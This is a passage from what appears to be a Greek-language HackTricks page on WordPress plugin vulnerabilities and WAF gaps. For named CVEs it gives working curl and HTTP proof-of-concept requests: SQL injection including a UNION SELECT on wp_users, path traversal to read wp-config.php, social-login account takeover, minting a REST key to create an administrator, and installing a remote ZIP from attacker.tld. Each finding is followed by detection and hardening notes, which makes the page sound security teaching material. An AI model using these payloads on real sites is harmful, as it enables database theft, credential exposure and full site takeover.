Cookie: original_user_id=1
User-Agent: PoC
Connection: close
Θέματα WAF για WordPress/plugin CVEs
Οι γενικοί edge/server WAFs είναι ρυθμισμένοι για ευρείες υπογραφές (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου σε WordPress/plugin είναι σφάλματα λογικής/ελέγχου ταυτότητας ειδικά για την εφαρμογή που μοιάζουν με αβλαβή κίνηση, εκτός αν η μηχανή κατανοεί τα routes του WordPress και τη σημασιολογία των plugin.
Offensive notes
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
Τακτικές ενημερώσεις
Make sure WordPress, plugins, and themes are up to date. Also confirm that automated updating is enabled in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Επίσης, εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes.
Security Plugins
Άλλες Συστάσεις
- Αφαιρέστε τον προεπιλεγμένο χρήστη admin
- Χρησιμοποιήστε ισχυρούς κωδικούς και 2FA
- Περιοδικά ελέγχετε τα δικαιώματα των χρηστών
- Περιορίστε τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force
- Μετονομάστε το αρχείο
wp-admin.phpκαι επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες IP διευθύνσεις.
Μη-εξουσιοδοτημένο SQL Injection λόγω ανεπαρκούς validation (WP Job Portal <= 2.3.2)
Το WP Job Portal recruitment plugin αποκάλυπτε μια εργασία savecategory που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο modules/category/model.php::validateFormData():
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Προβλήματα που εισάγονται από αυτό το απόσπασμα:
- Μη φιλτραρισμένη είσοδος χρήστη –
parentidπροέρχεται απευθείας από το HTTP αίτημα. - String concatenation inside the WHERE clause – δεν υπάρχουν
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability – παρότι η ενέργεια εκτελείται μέσω του
admin-post.php, ο μοναδικός έλεγχος είναι ένα CSRF nonce (wp_verify_nonce()), το οποίο οποιοσδήποτε επισκέπτης μπορεί να πάρει από μια δημόσια σελίδα που ενσωματώνει το shortcode[wpjobportal_my_resumes].
Εκμετάλλευση
- Πάρε ένα φρέσκο nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Εισαγωγή αυθαίρετου SQL εκμεταλλευόμενοι το
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Η απάντηση αποκαλύπτει το αποτέλεσμα του εγχυμένου ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Μια άλλη ενέργεια, downloadcustomfile, επέτρεπε στους επισκέπτες να κατεβάζουν οποιοδήποτε αρχείο στο δίσκο μέσω path traversal. Ο ευάλωτος κώδικας βρίσκεται στο modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name ελέγχεται από attacker και συνενώνεται χωρίς καθαρισμό. Και πάλι, το μόνο εμπόδιο είναι ένα CSRF nonce που μπορεί να ανακτηθεί από τη σελίδα βιογραφικού.
Εκμετάλλευση
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Ο διακομιστής απαντά με τα περιεχόμενα του wp-config.php, leaking DB credentials and auth keys.
Μη πιστοποιημένη κατάληψη λογαριασμού μέσω Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)
Πολλά themes/plugins παρέχουν “social login” helpers εκτεθειμένα μέσω admin-ajax.php. Αν μια μη-πιστοποιημένη AJAX action (wp_ajax_nopriv_…) εμπιστεύεται client-supplied identifiers όταν τα δεδομένα του provider λείπουν και στη συνέχεια καλεί wp_set_auth_cookie(), αυτό οδηγεί σε full authentication bypass.
Τυπικό ελαττωματικό μοτίβο (απλουστευμένο)
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb': /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}
// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');
if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}
$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);
Γιατί είναι εκμεταλλεύσιμο
- Μη αυθεντικοποιημένη προσβασιμότητα μέσω admin-ajax.php (wp_ajax_nopriv_… action).
- Δεν υπάρχουν nonce/capability checks πριν από την αλλαγή κατάστασης.
- Έλλειψη επαλήθευσης OAuth/OpenID provider; ο default branch δέχεται attacker input.
- get_user_by(‘email’, $_POST[‘id’]) ακολουθούμενο από wp_set_auth_cookie($uid) αυθεντικοποιεί τον requester ως οποιαδήποτε υπάρχουσα διεύθυνση email.
Εκμετάλλευση (μη αυθεντικοποιημένη)
- Προαπαιτούμενα: attacker μπορεί να φτάσει το /wp-admin/admin-ajax.php και γνωρίζει/μαντεύει ένα έγκυρο email χρήστη.
- Ορίστε provider σε μια μη υποστηριζόμενη τιμή (ή παραλείψτε το) για να χτυπήσετε το default branch και περάστε id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded
action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"
Expected success indicators
- HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
- Set-Cookie: wordpress_logged_in_* για τον χρήστη-θύμα; οι επακόλουθες αιτήσεις είναι authenticated.
Finding the action name
- Ελέγξτε το theme/plugin για add_action(‘wp_ajax_nopriv_…’, ‘…’) registrations στον κώδικα social login (π.χ., framework/add-ons/social-login/class-social-login.php).
- Grep για wp_set_auth_cookie(), get_user_by(‘email’, …) μέσα σε AJAX handlers.
Detection checklist
- Web logs που δείχνουν unauthenticated POSTs προς /wp-admin/admin-ajax.php με το social-login action και id=
. - 200 responses με το success JSON αμέσως πριν από authenticated traffic από το ίδιο IP/User-Agent.
Hardening
- Μην απορρίπτετε την ταυτότητα από input του client. Δέχεστε μόνο emails/IDs που προέρχονται από validated provider token/ID.
- Απαιτήστε CSRF nonces και capability checks ακόμα και για login helpers; αποφύγετε την καταχώρηση wp_ajax_nopriv_ εκτός αν είναι απολύτως αναγκαίο.
- Validate και verify τις OAuth/OIDC responses server-side; απορρίψτε missing/invalid providers (μην κάνετε fallback στο POST id).
- Σκεφτείτε προσωρινή απενεργοποίηση του social login ή virtual patching στο edge (μπλοκάρετε το ευάλωτο action) μέχρι να διορθωθεί.
Patched behaviour (Jobmonster 4.8.0)
- Αφαιρέθηκε το insecure fallback από $_POST[‘id’]; $user_email πρέπει να προέρχεται από verified provider branches στο switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Κάποια plugins εκθέτουν REST endpoints που mint reusable “connection keys” ή tokens χωρίς να επαληθεύουν τα capabilities του καλούντος. Αν το route authenticates μόνο σε ένα guessable attribute (π.χ., username) και δεν δεσμεύει το key σε χρήστη/session με capability checks, οποιοσδήποτε unauthenticated attacker μπορεί να mint ένα key και να καλέσει privileged actions (δημιουργία admin account, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Γιατί είναι εκμεταλλεύσιμο
- Ευαίσθητο REST route προστατευμένο μόνο από απόδειξη ταυτότητας χαμηλής εντροπίας (username) ή με απουσία permission_callback
- Δεν υπάρχει επιβολή capability· το minted key γίνεται αποδεκτό ως καθολικό bypass
Detection checklist
- Grep τον κώδικα του plugin για register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Οποιοδήποτε route που εκδίδει tokens/keys με βάση ταυτότητα που παρέχεται στο request (username/email) χωρίς σύνδεση με authenticated user ή capability
- Ψάξτε για επόμενα routes που αποδέχονται το minted token/key χωρίς server-side ελέγχους capability
Hardening
- Για οποιοδήποτε privileged REST route: απαιτείστε permission_callback που επιβάλλει current_user_can() για την απαιτούμενη capability
- Μην δημιουργείτε μακροχρόνια keys από identity που παρέχεται από τον client· αν χρειάζεται, εκδώστε short-lived, user-bound tokens μετά authentication και επανελέγξτε τις capabilities κατά τη χρήση
- Επικυρώστε το user context του καλούντος (wp_set_current_user δεν αρκεί από μόνο του) και απορρίψτε αιτήματα όπου !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces αποτρέπουν CSRF, όχι authorization. Εάν ο κώδικας θεωρεί το πέρασμα μιας nonce ως πράσινο φως και στη συνέχεια παραλείπει τους ελέγχους capability για privileged operations (π.χ. install/activate plugins), μη αυθεντικοποιημένοι επιτιθέμενοι μπορούν να ικανοποιήσουν μια αδύναμη απαίτηση nonce και να φτάσουν σε RCE εγκαθιστώντας ένα backdoored ή ευπαθές plugin.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (το σχήμα εξαρτάται από το plugin; ενδεικτικό μόνο)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Λίστα εντοπισμού
- REST/AJAX handlers που τροποποιούν plugins/themes με μόνο wp_verify_nonce()/check_admin_referer() και χωρίς έλεγχο capability
- Οποιαδήποτε ροή κώδικα που θέτει $skip_caps = true μετά την επικύρωση nonce
Σκληροποίηση
- Πάντα να θεωρείτε τα nonces μόνο ως CSRF tokens· επιβάλλετε έλεγχους capability ανεξαρτήτως της κατάστασης του nonce
- Απαιτήστε current_user_can(‘install_plugins’) και current_user_can(‘activate_plugins’) πριν φτάσει ο κώδικας εγκατάστασης
- Απορρίψτε μη-ελεγμένη πρόσβαση· αποφύγετε την έκθεση nopriv AJAX actions για ροές με προνόμια
Subscriber+ AJAX plugin installer → εξαναγκαστική κακόβουλη ενεργοποίηση (Motors Theme ≤ 5.6.81)
Patchstack’s analysis έδειξε πώς το Motors theme παρέχει έναν authenticated AJAX helper για την εγκατάσταση του companion plugin του:
add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');
function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');
$plugin_url = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';
$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
- Καλείται μόνο το
check_ajax_referer()— δεν υπάρχειcurrent_user_can('install_plugins')ήcurrent_user_can('activate_plugins'). - Το nonce είναι ενσωματωμένο στη σελίδα διαχείρισης του Motors, οπότε οποιοσδήποτε Subscriber μπορεί να ανοίξει το
/wp-admin/και να το αντιγράψει από το HTML/JS. - Ο handler εμπιστεύεται την παράμετρο
pluginπου ελέγχεται από attacker (διαβάζεται από$_GET) και τη μεταβιβάζει στοPlugin_Upgrader::install(), οπότε ένα αυθαίρετο απομακρυσμένο ZIP κατεβαίνει στοwp-content/plugins/. - Μετά την εγκατάσταση το theme καλεί χωρίς προϋποθέσεις το
mvl_theme_activate_plugin(), εξασφαλίζοντας την εκτέλεση του PHP κώδικα του attacker plugin.
Ροή εκμετάλλευσης
- Δημιουργήστε/υποκλέψτε έναν λογαριασμό με χαμηλά προνόμια (αρκεί ο Subscriber) και αποκτήστε το
mvl_theme_install_basenonce από το Motors dashboard UI. - Δημιουργήστε ένα plugin ZIP του οποίου ο κορυφαίος κατάλογος ταιριάζει με το αναμενόμενο slug
motors-car-dealership-classified-listings/και ενσωματώστε ένα backdoor ή webshell στα*.phpσημεία εισόδου. - Φιλοξενήστε το ZIP και πυροδοτήστε τον installer δείχνοντας τον handler στο URL σας:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded
action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip
Επειδή ο handler διαβάζει $_GET['plugin'], το ίδιο payload μπορεί επίσης να σταλεί μέσω του query string.
Λίστα ελέγχου ανίχνευσης
- Αναζητήστε θέματα/πρόσθετα για
Plugin_Upgrader,Theme_Upgrader, ή custominstall_plugin.phphelpers που είναι wired σεwp_ajax_*hooks χωρίς capability checks. - Εξετάστε οποιονδήποτε handler που παίρνει παράμετρο
plugin,package,source, ήurlκαι τη δίνει σε upgrader APIs, ειδικά όταν το slug είναι hard-coded αλλά τα περιεχόμενα του ZIP δεν επικυρώνονται. - Ελέγξτε admin σελίδες που εκθέτουν nonces για installer actions — αν οι Subscribers μπορούν να φορτώσουν τη σελίδα, θεωρήστε ότι το nonce leaks.
Σκληροποίηση
- Περιορίστε installer AJAX callbacks με
current_user_can('install_plugins')καιcurrent_user_can('activate_plugins')μετά την επαλήθευση nonce· το Motors 5.6.82 εισήγαγε αυτόν τον έλεγχο για να διορθώσει το bug. - Αρνηθείτε untrusted URLs: περιορίστε τους installers σε bundled ZIPs ή trusted repositories, ή επιβάλετε signed download manifests.
- Αντιμετωπίζετε τα nonces αυστηρά ως CSRF tokens· δεν παρέχουν authorization και δεν πρέπει ποτέ να αντικαθιστούν capability checks.
Μη αυθεντικοποιημένο SQLi μέσω της παραμέτρου s (search) στις ενέργειες depicter-* (Depicter Slider ≤ 3.6.1)
Πολλαπλές ενέργειες depicter-* κατανάλωναν την παράμετρο s (search) και την συνένωναν σε SQL queries χωρίς parameterization.
- Παράμετρος: s (search)
- Σφάλμα: άμεση συνένωση string σε WHERE/LIKE clauses; χωρίς prepared statements/sanitization
- Επιπτώσεις: database exfiltration (users, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Detection checklist
- Χρησιμοποιήστε grep για depicter-* action handlers και για άμεση χρήση των $_GET[‘s’] ή $_POST[‘s’] σε SQL
- Επανεξετάστε custom queries που περνιούνται σε $wpdb->get_results()/query() τα οποία concatenating s
Hardening
- Χρησιμοποιείτε πάντα $wpdb->prepare() ή wpdb placeholders · απορρίπτετε μη αναμενόμενα metacharacters server-side
- Προσθέστε αυστηρή allowlist για s και κανονικοποιήστε στο αναμενόμενο charset/μήκος
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Η αποδοχή διαδρομών ελεγχόμενων από attacker σε παράμετρο template χωρίς κανονικοποίηση/περιορισμό επιτρέπει την ανάγνωση αυθαίρετων τοπικών αρχείων, και μερικές φορές εκτέλεση κώδικα αν includable PHP/log αρχεία φορτωθούν στη runtime.
- Parameter: __kubio-site-edit-iframe-classic-template
- Flaw: καμία κανονικοποίηση/allowlisting; επιτρέπεται traversal
- Impact: αποκάλυψη secrets (wp-config.php), πιθανό RCE σε συγκεκριμένα περιβάλλοντα (log poisoning, includable PHP)
PoC – read wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Λίστα ελέγχου ανίχνευσης
- Οποιοσδήποτε handler που συνενώνει διαδρομές αιτήματος σε include()/require()/read sinks χωρίς containment με realpath()
- Αναζητήστε μοτίβα traversal (../) που φτάνουν έξω από τον προοριζόμενο templates directory
Σκληροποίηση
- Επιβάλλετε allowlisted templates; επιλύστε με realpath() και απαιτήστε str_starts_with(realpath(file), realpath(allowed_base))
- Κανονικοποιήστε την είσοδο; απορρίψτε ακολουθίες traversal και απόλυτες διαδρομές; χρησιμοποιήστε sanitize_file_name() μόνο για ονόματα αρχείων (όχι για ολόκληρες διαδρομές)
Αναφορές
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
- Critical Arbitrary File Upload Vulnerability in Motors Theme Affecting 20k+ Sites
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


